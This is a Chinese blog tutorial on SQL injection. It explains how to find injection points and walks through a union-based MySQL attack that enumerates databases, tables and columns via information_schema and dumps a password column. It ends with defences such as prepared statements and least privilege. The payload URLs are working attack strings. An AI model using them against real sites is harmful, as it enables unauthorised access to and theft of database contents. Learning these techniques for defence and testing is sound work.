深入理解SQL注入

446 阅读5分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第9天,点击查看活动详情

sql注入算是一个比较严重且以前比较常见的漏洞,现在一些框架已经进行了预编译的啥的,也不好找。但是依然不妨碍我们探索探索。下面就开始SQL注入的胡编乱造。

首先得先了解一下SQL注入的原理是什么

原理:

个人理解:让服务器运行我们写的SQL语句,然后得到超出权限的数据

维基百科:SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。

下面我们还得了解一下SQL注入有哪些分类?(这玩意烦得很,好多人好多分法,反正大概的也就哪几种)

分类:

分类比较杂,就说一些常用的吧

常用的:联合查询注入、报错注入、布尔盲注、时间盲注

一般有回显的就直接使用联合查询注入

如果没有回显就用报错吧,不报错就用布尔和时间吧

\

危害:

数据库信息泄露
数据库被恶意操作
网站被篡改挂马
服务器被植入后门

\

寻找注入点:

假设访问网站是:
www.xxx.com?id=1
假设后台的查询语句是:
select user_sex, user_age from user where user_id = id --(id就是前端传过来的值)

\

注入点判断一(id是数值类型):

xxx?id=1原本你访问user_id是1的用户信息

这时你访问id是2的用户,是不是xxx?id=2,但是你输入xxx?id=1+1如果访问结果和xxx?id=2一致,

说明这里存在注入点,为啥呢?因为前端是不会给你把1+1给你计算出来的,很大可能就是因为他把你

输入的带进数据库中去执行了。

\

注入点判断二(id是字符串类型):

xxx?id=1原本你访问user_id是1的用户信息

这时候你捣乱,你输入xxx?id=1'

你觉这会返回什么呢?

第一种:

去查询id=1' 的这个用户去吧,但是一般情况下用户id不会带有" ' "这个符号,所以查询的就是这个用户不存在,所以得到的用户信息就是空。(sql等预编译情况,后面会解释sql预编译)

第二种:

这个可能会点sql语句的就很清楚了,带进去执行的SQL语句很有可能是:
select user_sex, user_age from user where user_id = 1'
很明显这个sql语句执行不成功,只有一个',语法错误

判断:

第一种情况的话我们就不要考虑了(后面解释sql预编译会进行解释),如果是第二种情况就有可能是一个sql注入点,为啥呢?因为他带入我们输入的东西执行了。

\

利用方式 :

1、联合注入:

前置知识点:

这样爆破需要满足mysql版本大于5.0
因为这个版本之前没有information_schema库
第一个知识点:
information_schema库中有三张我们目前要用的表
如下:所有库的表schemata、所有表的表tables、所有行的表columns、
schemata:schemata_name【库名字段】
tables:table_schema【库名字段】、table_name【表名字段】
columns:table_schema【库名字段】、table_name【表名字段】、column_name【行名字段】
第二个知识点:
limit i, n:查询数据从i索引开始,保存n条数据;i=0可以忽略不写

\

后台查询语句:

select user_sex, user_age, user_name from user where user_id = 1
发现注入点xxx?id=1
假设:库名【bat】、表名【users】
行名【user_id, user_sex, user_age, user_name, user_password】

1:获取查询语句是查询几个字段

xxx?id=1 order by 3
如果数字超过查询字段就会报错(user_sex, user_age, user_name )

2:查询回显点

xxx?id=-1 union select 1,2,3
另id=-1因为union联合是合并前后查询结果,一般id=-1是无结果的,所以返回的就是后面的查询结果
(如果你觉着-1不稳就用 and 1=2,xxx?id= 1 and 1=2 union select 1,2,3)
回显点的意思是后面select 1,2,3 结果就是123,但是前端回显一般不会显示全,所以要确定回显是哪一个
获取到回显点是2,3

3:爆库

xxx?id=-1 union select 1,2,schemata_name from information_schema.schemata limit 0,1
xxx?id=-1 union select 1,2,database()【也可以直接使用函数database()直接获取当前数据库】
获取到库名:bat

4:爆表

xxx?id=-1 union select 1,2,table_name from information_schema.tables where table_schema='bat' limit 0,1
获取到表名:users

5:爆字段

xxx?id=-1 union select 1,2,column_name from information_schema.columns where table_schema='bat' and table_name='users' limit 0,1
这是获取到第一个字段:user_id
获取其它的操作limit就可以了,或是删掉获取全部

6:爆数据

xxx?id=-1 union select 1,2,users_password from bat.users where user_id=1 limit 0,1
就可以开心的爆破数据了

\

绕过过滤 :

\

提权 :

\

防御:

1、PreparedStatement预编译:

sql语句:

select user_sex, user_age from user where user_id = '123'or 1=1''
输入内容:123'or 1=1'

使用预编译情况下:

查询user_id = 123'or 1=1'

不使用预编译:

查询user_id = 123,且后面的or 1=1带入sql执行

2、对输入的数据进行长度控制,格式控制,内容过滤加密

3、加waf

4、限制数据库用户权限,满足业务需求即可

5、关闭错误提示

\